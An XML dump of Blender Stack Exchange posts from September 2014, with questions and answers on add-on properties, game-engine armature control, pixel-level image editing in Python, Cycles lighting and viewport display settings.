  <row Id="15873" PostTypeId="1" CreationDate="2014-09-15T16:18:13.260" Score="0" ViewCount="811" Body="&lt;p&gt;I'm using the addon preferences to store some props (bool, filepath ecc...).&#xA;But this prop are saved only in the global preferences of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want that some of these props could be saved in the working.blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've create a specular prop in the bpy.types.Scene.ecc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I want to use as default option the prop from the user preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But don't work because Blender don't find the prop in the user preference when I'm create the prope in the  bpy.types.Scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a complex script, so the Scene props are create in &lt;strong&gt;init&lt;/strong&gt;.py and the preference are created in the setting.py.&#xA;The script work fine keeping the props direct from the user preferences, but don't if I try to put the props in the default option of the scene props.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the complexity of the message, I don't speak English very well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;This is an example of the code:&#xA;the &lt;em&gt;init&lt;/em&gt;.py:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/31637&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/31637&lt;/a&gt;&#xA;The settings.py:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/31638&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/31638&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want that the default of &quot;color&quot; in the RandomizeColorSettings Class is the &quot;color&quot; prop in the ColorPreferences class &lt;/p&gt;&#xA;" OwnerUserId="6052" LastEditorUserId="6052" LastEditDate="2014-09-16T15:59:05.237" LastActivityDate="2014-09-16T15:59:05.237" Title="addons User Preference and custom properties" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;&lt;properties&gt;&lt;scene&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15874" PostTypeId="2" ParentId="15870" CreationDate="2014-09-15T16:37:06.337" Score="2" Body="&lt;p&gt;You have to store the animation data first. Like using the bake action function:&#xA;object-&gt;animation-&gt;bake actions...&lt;/p&gt;&#xA;" OwnerUserId="6052" LastActivityDate="2014-09-15T16:37:06.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15876" PostTypeId="2" ParentId="15858" CreationDate="2014-09-15T17:12:37.580" Score="1" Body="&lt;p&gt;It is a Loop Dependency. You can't make a children object parent father of is father.&#xA;A constraint look like a parent in Blender, so you have to make some parents organization in your file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arm Rotation is Father of Shovel.&lt;br&gt;&#xA;But, Arm Rotation is in the Pivot constraint of Shovel, so, it's child of Shovel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This parenting are avoid, you have to use bones and armature to simplify.&lt;/p&gt;&#xA;" OwnerUserId="6052" LastEditorUserId="2217" LastEditDate="2014-09-16T00:15:48.017" LastActivityDate="2014-09-16T00:15:48.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15878" PostTypeId="2" ParentId="15847" CreationDate="2014-09-15T19:47:42.930" Score="2" Body="&lt;p&gt;You can change the scene units, in the properties window. By default blender is in &lt;em&gt;blender units&lt;/em&gt; which is the same as &lt;em&gt;meters&lt;/em&gt;, but if you change it to &lt;em&gt;Imperial&lt;/em&gt; grid snapping will snap to the new imperial grid only if you are in one of the views &lt;em&gt;front&lt;/em&gt;, &lt;em&gt;top&lt;/em&gt;, &lt;em&gt;left&lt;/em&gt;, ect. &lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-09-15T19:47:42.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15879" PostTypeId="1" AcceptedAnswerId="47951" CreationDate="2014-09-15T19:57:24.617" Score="4" ViewCount="1939" Body="&lt;p&gt;I'm new to blender and python I need to control armature in blender game engine via a serial data comes from arduino. I'm useing this code but it does not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import GameLogic&#xA;&#xA;arm = GameLogic.getCurrentController().owner&#xA;&#xA;print(arm.channels['Upperleg.L'].rotation_euler)&#xA;&#xA;arm.channels['Upperleg.L'].rotation_euler = [5, 5, 5]&#xA;arm.update()&#xA;&#xA;print(arm.channels['Upperleg.L'].rotation_euler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using blender 2.71 and used a &lt;em&gt;always&lt;/em&gt; sensor with the python controller(script). I Can't find whats wrong in this code. Does any one know how to change the euler angles of the armature in blender game engine mode?&lt;/p&gt;&#xA;" OwnerUserId="6016" LastEditorUserId="2217" LastEditDate="2014-09-15T20:44:38.250" LastActivityDate="2017-10-20T19:23:32.457" Title="Blender armature control in real time?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15880" PostTypeId="2" ParentId="15122" CreationDate="2014-09-15T19:57:44.830" Score="0" Body="&lt;p&gt;There is no way with the api I think. I would suggest to implement your own function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#collection:    collection, where you want to add a new entry&#xA;#name:          the 'original' name, will maybe modified&#xA;def add_new(collection, name): #or add_unique is maybe better&#xA;    #check if name allready exists in the given collection&#xA;    #if not add it directly&#xA;    if name in collection:&#xA;        try:&#xA;            #check if the name has allready a number&#xA;            #if not this will produce an error and except will be executed&#xA;            if name[-4:-3] == '.': #check for a point&#xA;                int(name[-3:])&#xA;                #cut out the 'original' name&#xA;                #([:-4] remove last 4 chars)&#xA;                name = name[:-4]&#xA;        except:&#xA;            #if its not an integer, do nothing&#xA;            pass&#xA;&#xA;        i = 1&#xA;        #generate three chars with '0' ('{:0&amp;gt;3}') and&#xA;        #replace it with the next number (.format)&#xA;        #until a free number is found&#xA;        while (name + '.{:0&amp;gt;3}'.format(str(i))) in collection:&#xA;            #otherwise continue counting&#xA;            i += 1&#xA;        #add number to name&#xA;        name = name + '.{:0&amp;gt;3}'.format(str(i))&#xA;    #finally add item&#xA;    itm = collection.add()&#xA;    # ... and assign name&#xA;    itm.name = name&#xA;    #return that item&#xA;    return itm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use this in your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g = add_new(obj.testgroup.render_groups, &quot;Name&quot;)&#xA;#-&amp;gt;g.name= &quot;Name&quot;&#xA;&#xA;g = add_new(obj.testgroup.render_groups, &quot;Name&quot;)&#xA;#-&amp;gt;g.name= &quot;Name.001&quot;&#xA;&#xA;g = add_new(obj.testgroup.render_groups, &quot;Name.001&quot;)&#xA;#-&amp;gt;g.name= &quot;Name.002&quot; not &quot;Name.001.001&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="241" LastEditDate="2020-05-12T15:21:51.613" LastActivityDate="2020-05-12T15:21:51.613" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="15881" PostTypeId="2" ParentId="14986" CreationDate="2014-09-15T20:22:15.030" Score="1" Body="&lt;p&gt;The BGE can't handle the &lt;em&gt;Mirror Modifier&lt;/em&gt; when you apply it and change the order of the modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aGMRt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For performance and to avoid issues it would be better to apply the subsurf also&lt;/li&gt;&#xA;&lt;li&gt;80 Frames is a bit long for this walk cycle&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Loop Stop / End should be used in the action actuators&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Related: &lt;a href=&quot;https://blender.stackexchange.com/questions/3736/how-should-an-animated-character-be-moved-while-repeating-a-walk-cycle/3740#3740&quot;&gt;How should an animated character be moved while repeating a walk cycle?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Result (reduced to 20 frames and adjusted movement):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IKpdP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o30cb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-09-15T20:22:15.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15884" PostTypeId="1" CreationDate="2014-09-15T21:41:55.847" Score="0" ViewCount="611" Body="&lt;p&gt;Given a texture of some size, I`d like to be able to map the pixel size to an arbitrary unit of measure within my scenes. Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.G.: I have a texture which is 512x512px, and I'd like to tell Blender that 512px from the texture file has to be mapped to 1m (or 1 square from the grid, or just 1 arbitrary unit) in the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like every face with that texture to be UV mapped automatically, so if a surface spans 2x2m, it should tile the texture 2x2 times without me having to do the calculation.&lt;/p&gt;&#xA;" OwnerUserId="6054" LastEditorUserId="241" LastEditDate="2015-01-17T15:33:34.933" LastActivityDate="2015-01-17T15:33:34.933" Title="pixel to grid mapping for textures" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15886" PostTypeId="1" AcceptedAnswerId="15896" CreationDate="2014-09-15T23:11:59.013" Score="2" ViewCount="1475" Body="&lt;p&gt;I created previously 2 actions (animations) of my model, which I use in Unity. They both have visible number &quot;3&quot; near the &quot;F&quot; letter button, which I click that action would be saved. When I am adding now new actions and clicking &quot;F&quot; button it always appear &quot;visible users number&quot; not as &quot;3&quot; but as &quot;2&quot;. These actions, which have &quot;2&quot; instead of &quot;3&quot; are not visible when I importing them to Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there possible to change this &quot;visible users number&quot; that my new actions would be the same as these ones, which have &quot;3&quot; buttons instead of &quot;2&quot;?&lt;/p&gt;&#xA;" OwnerUserId="5409" LastActivityDate="2014-09-16T07:16:08.893" Title="Action users number confusion" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15888" PostTypeId="1" CreationDate="2014-09-16T03:27:33.693" Score="18" ViewCount="52772" Body="&lt;p&gt;I have several objects in my scene. I want all the objects to be visible so that I can see how they relate to one another, but I want to focus on just one. To do this, I'd like to make the other objects translucent and non-selectable. I know I can disable selection from the Blender outliner, but there doesn't seem to be an easy way to make just that object transparent. The reason I am trying to do this is simply so that I can see objects in my scene but focus on just the object I am editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using glsl with mapcap for rendering and am mainly working in sculpt mode at the moment, and would like to stick with glsl if possible.&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="55" LastEditDate="2014-09-18T05:27:13.437" LastActivityDate="2014-09-18T05:27:13.437" Title="How to make objects draw transparent/wireframe in the viewport?" Tags="&lt;workflow&gt;&lt;3d-view&gt;&lt;transparency&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15889" PostTypeId="2" ParentId="15888" CreationDate="2014-09-16T03:30:17.593" Score="26" Body="&lt;p&gt;You can make an object be displayed as a wireframe by setting the &lt;em&gt;Maximum draw type&lt;/em&gt; to &lt;em&gt;wire&lt;/em&gt; in &lt;em&gt;Properties editor &gt; Object &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IM4Wh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You make an object display as transparent by adjusting the &lt;em&gt;alpha&lt;/em&gt; of it's material, and enabling &lt;em&gt;Transparent&lt;/em&gt; in the display settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/coEx8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-16T03:30:17.593" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15890" PostTypeId="1" CreationDate="2014-09-16T04:31:18.503" Score="2" ViewCount="3149" Body="&lt;p&gt;I need to ascertain if it's possible to complete a project in Blender exclusively (my preference) or if I need to use an OpenGL API to write an external application for my needs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the project can be completed in Blender, then I need to be able to color pixels on a 2D image using Python within Blender.  If that can be done by pixel coordinate, then my project can be completed in Blender.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the Blender API documentation is laid out by structure of API itself rather than by task (a good thing!) I'm having trouble locating the part of it that I'm interested in.  Because usually Blender isn't used for this, I can't find any discussions that point me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I see that bpy.ops.paint.sample_color() can be used to sample a color on an image; I'm just having trouble finding a way to directly manipulate pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit2: I should mention that I also found &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.4/Source/Python/Image_Editing&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; in old documentation, but searches for something similar in the current documentation come up empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;last edit: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?213940-Image-Buffer-Pixel-level-access-to-images&quot; rel=&quot;nofollow&quot;&gt;This thread from 2007&lt;/a&gt; includes a script for pixel level access to images.  however, it is dependent upon classes that are not a part of the Blender API and do not appear to be part of the Python repository.  The colour class does not inherit as_tuple, which in turn only seems to be part of the decimal class.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm not listing it as an answer because there's no way to know with certainty just what the author meant when those classes are used.&lt;/p&gt;&#xA;" OwnerUserId="5840" LastEditorUserId="12" LastEditDate="2014-09-18T12:30:32.073" LastActivityDate="2014-09-18T12:30:32.073" Title="Is it possible to edit images programmatically with the Blender API?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ClosedDate="2014-09-16T08:14:19.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="15891" PostTypeId="1" AcceptedAnswerId="15893" CreationDate="2014-09-16T05:02:09.387" Score="1" ViewCount="1134" Body="&lt;p&gt;Objects do not appear when I render my model in blender 2.71. All objects are set to appear when rendered. Pressing W and clicking Clear all Restrict Render doesn't work, either. I only get a background when I render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: There are no strips in the VSE and all correct layers are set to view when rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/download/f5y51klyo9otdd1/Cycles_render_room_in_aero_apartments_elevator_lobby.blend&quot; rel=&quot;nofollow&quot;&gt;Blend file: http://www.mediafire.com/download/f5y51klyo9otdd1/Cycles_render_room_in_aero_apartments_elevator_lobby.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6014" LastEditorUserId="599" LastEditDate="2014-09-16T05:32:22.843" LastActivityDate="2014-09-16T05:32:22.843" Title="Objects not appearing when I render my model" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15893" PostTypeId="2" ParentId="15891" CreationDate="2014-09-16T05:25:37.743" Score="3" Body="&lt;p&gt;You don't have light in your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hemi lamp in the middle of the room won't work, as cycles doesn't support hemi lamps yet. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Lamps&quot; rel=&quot;nofollow noreferrer&quot;&gt;It will be treated like a sun lamp&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Lamps#Sun_Lamp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sun lamps&lt;/a&gt; provide a uniform amount light from infinitely far away in a specific direction with no falloff. Because of this, the position of the lamp doesn't have any effect.&lt;br&gt;&#xA;Since the room is completely closed and light has no way to get in from outside, everything renders as black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change the lamp to a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Lamps#Point_Lamp&quot; rel=&quot;nofollow noreferrer&quot;&gt;point lamp&lt;/a&gt; and increase the strength to something like 1000, you get something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D181T.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-16T05:31:52.397" LastActivityDate="2014-09-16T05:31:52.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15894" PostTypeId="2" ParentId="15890" CreationDate="2014-09-16T06:28:08.360" Score="5" Body="&lt;p&gt;Within blender's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Image.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;image class&lt;/a&gt; you can access the raw pixel data at &lt;code&gt;image.pixels&lt;/code&gt; as an array of floats, 4 floats per pixel (RGBA). &lt;code&gt;image.size[0]&lt;/code&gt; is the width in pixels &lt;code&gt;image.size[1]&lt;/code&gt; for height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/13516/935&quot;&gt;This answer&lt;/a&gt; shows how to crop an image, &lt;a href=&quot;https://blender.stackexchange.com/a/3678/935&quot;&gt;while this one&lt;/a&gt; about performance might be useful.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-09-16T06:28:08.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15895" PostTypeId="2" ParentId="15890" CreationDate="2014-09-16T07:13:21.840" Score="3" Body="&lt;p&gt;This snippet provides a get and set_pixel function as a demo a sine is drawn.&#xA;It uses a image named 'Untitled' (default when you create a new one in the &lt;em&gt;UV-Editor&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;# image name from UV editor&#xA;image = bpy.data.images['Untitled']&#xA;width = image.size[0]&#xA;height = image.size[1]&#xA;&#xA;# RGBA&#xA;color = (1.0, 0.0, 0.0 , 1.0 )&#xA;print(&quot;%d x %d&quot; % ( width,height))&#xA;&#xA;&#xA;def set_pixel(img,x,y,color):&#xA;    offs = (x + int(y*width)) * 4&#xA;    for i in range(4):&#xA;        image.pixels[offs+i] = color[i]&#xA;&#xA;def get_pixel(img,x,y):&#xA;    color=[]&#xA;    offs = (x + y*width) * 4&#xA;    for i in range(4):&#xA;        color.append( image.pixels[offs+i] )&#xA;    return color&#xA;&#xA;inc = math.pi * 2 / width&#xA;s = - math.pi    &#xA;for x in range(0, width-1):&#xA;    y =  math.sin( s ) * (height/2) + height/2-1&#xA;    #print( get_pixel( image, x, y) )&#xA;    set_pixel(image, x,int(y),color)&#xA;    s = s + inc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lX4JY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-16T07:13:21.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15896" PostTypeId="2" ParentId="15886" CreationDate="2014-09-16T07:16:08.893" Score="2" Body="&lt;p&gt;The number shown is called a user count. A user being defined as a data block (or object) in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A new action will have one user, adding a fake user by clicking the 'F' button makes it 2 users, to get a third user you need to link it somewhere else, like to another object, a strip within the nla editor or an action constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By dulicating an object with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; (known as a linked copy) the new object will also be linked to the action. If this is the case then you may be importing the duplicate into unity not the one you added the new action to.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-16T07:16:08.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15897" PostTypeId="1" CreationDate="2014-09-16T09:45:47.827" Score="2" ViewCount="1288" Body="&lt;p&gt;Every time I create a new curve and go into edit mode, the default view looks like a centipede, with an excess of arrows to show the curve normal and direction. Although I can disable this in the Shading panel with the curve selected, I'm getting sick of doing so for each curve and was wondering if there is a way to disable it by default. I tried doing it once and saving the start up scene, but this didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LP7xF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I think it might be possible to change the initial setup for the curve if it is specified in the python code somewhere. However, I had a look around, but couldn't find anything defined in the Python code, so perhaps the setup is handled in the C part of blender :/ If anyone with knowledge of the codebase has some ideas, I'd love to hear them.&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="328" LastEditDate="2014-09-18T05:12:03.017" LastActivityDate="2014-09-18T05:12:03.017" Title="Is there a way to disable curve normals by default?" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15900" PostTypeId="2" ParentId="15888" CreationDate="2014-09-16T11:16:06.060" Score="1" Body="&lt;p&gt;To manage many object you can use the layer manager addon.&#xA;You can lock selection and show in wire mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blender-addon.blogspot.it/2014/04/layer-manager-update-wire-mode-for.html&quot; rel=&quot;nofollow&quot;&gt;http://blender-addon.blogspot.it/2014/04/layer-manager-update-wire-mode-for.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6052" LastActivityDate="2014-09-16T11:16:06.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15901" PostTypeId="1" CreationDate="2014-09-16T12:59:59.280" Score="0" ViewCount="133" Body="&lt;p&gt;When I opened Blender after installing them, I felt that something was wrong.&#xA;then I realized that the awkwardness came from how &quot;empty&quot; it was(See the picture below).&#xA;Does anyone know how to fix it and/or why it happend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZA4Oy.png&quot; alt=&quot;enter image description here&quot;&gt; As you can see, my Blender has no window, whats so ever.&lt;/p&gt;&#xA;" OwnerUserId="6065" LastEditorUserId="599" LastEditDate="2014-09-16T22:40:38.883" LastActivityDate="2014-09-17T07:13:50.547" Title="My Blender has no Header" Tags="&lt;python&gt;&lt;interface&gt;&lt;installation&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15902" PostTypeId="2" ParentId="15901" CreationDate="2014-09-16T14:18:52.360" Score="2" Body="&lt;p&gt;While I have no immediate answer, here is how you can find out the cause of the problem:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open a command line shell.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Navigate to where your Blender is installed.&lt;br&gt;&#xA;On windows you can &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; in the blender program folder (without any file selected) in Windows Explorer and select &lt;code&gt;Open command window here&lt;/code&gt;.&lt;br&gt;&#xA;On linux this step is only necessary if you have multiple version of blender installed, otherwise you can just run &lt;code&gt;blender&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call blender from the shell. On windows, type &lt;code&gt;blender.exe&lt;/code&gt;. On linux, type  &lt;code&gt;./blender&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now Blender starts and leaves messages in the commandline shell. You will probably see one or more error messages which may lead you to the cause of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to force Blender to use factory-settings by providing the commandline option as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender.exe --factory-startup&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some possible causes are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a broken Addon&lt;/li&gt;&#xA;&lt;li&gt;An installation error like: &quot;out of disk space&quot;, &quot;no write permissions on disk&quot;, etc.&lt;/li&gt;&#xA;&lt;li&gt;Wrong Python version in Path (i am not sure if Blender gets trapped by that)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="248" LastEditorUserId="9" LastEditDate="2014-09-17T07:13:50.547" LastActivityDate="2014-09-17T07:13:50.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15904" PostTypeId="2" ParentId="15836" CreationDate="2014-09-16T14:36:14.153" Score="1" Body="&lt;p&gt;If you don't want to use Cylces you change the render engines with this menu:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LG9dL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-16T15:01:01.010" LastActivityDate="2014-09-16T15:01:01.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15905" PostTypeId="2" ParentId="15897" CreationDate="2014-09-16T14:59:07.897" Score="2" Body="&lt;p&gt;You're right: saving to startup scene doesn't make the change permanent. A workaround I use is changing the Normal Sizes on the same display tab to something smaller and less intrusive.&#xA;Then I go to object mode, delete the curve and save as startup file using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;. The next time I open blender,  the normal size for displaying curves is how I set it. &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-09-16T14:59:07.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15906" PostTypeId="1" AcceptedAnswerId="15954" CreationDate="2014-09-16T15:09:00.453" Score="3" ViewCount="635" Body="&lt;p&gt;I downloaded a model and I adjusted the camera view as desired. However, when I save the file and open it again, the camera view is like it was on the originally downloaded file. Even when I press &quot;Render&quot; the view returns to the old view. Nothing is parented. How is that done and how can I remove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file - &lt;a href=&quot;http://www.pasteall.org/blend/31636&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/31636&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorDisplayName="user1853" LastEditDate="2014-09-18T00:19:32.530" LastActivityDate="2014-09-18T00:19:32.530" Title="Camera view not saved" Tags="&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15907" PostTypeId="2" ParentId="15906" CreationDate="2014-09-16T15:23:40.697" Score="2" Body="&lt;p&gt;Maybe the camera have some animation keyframes stored.&#xA;Open the dope sheet and remove all the yellow square. &lt;/p&gt;&#xA;" OwnerUserId="6052" LastActivityDate="2014-09-16T15:23:40.697" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15909" PostTypeId="1" CreationDate="2014-09-16T16:44:54.707" Score="2" ViewCount="526" Body="&lt;p&gt;I have a scene full of objects that won't export properly (I need either FBX or Obj, it's for Unity but that's irrelevant). After a lot of work I've been able to narrow down the problem to the fact that those objects are not being properly counted.. (see picture, objects counts 0..)&#xA;The objects that are being counted export fine. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z39sN.jpg&quot; alt=&quot;zero count&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what is wrong with those objects?...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a work-around: joining a problematic object to a working  object, and then separating them again, but there are dozens of objects in that scene, it would take me days to fix all this like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very welcome. :(&lt;/p&gt;&#xA;" OwnerUserId="6069" LastEditorUserId="32220" LastEditDate="2019-01-10T17:06:37.787" LastActivityDate="2019-01-10T17:06:37.787" Title="Objects are not counted in the header and will not export" Tags="&lt;objects&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
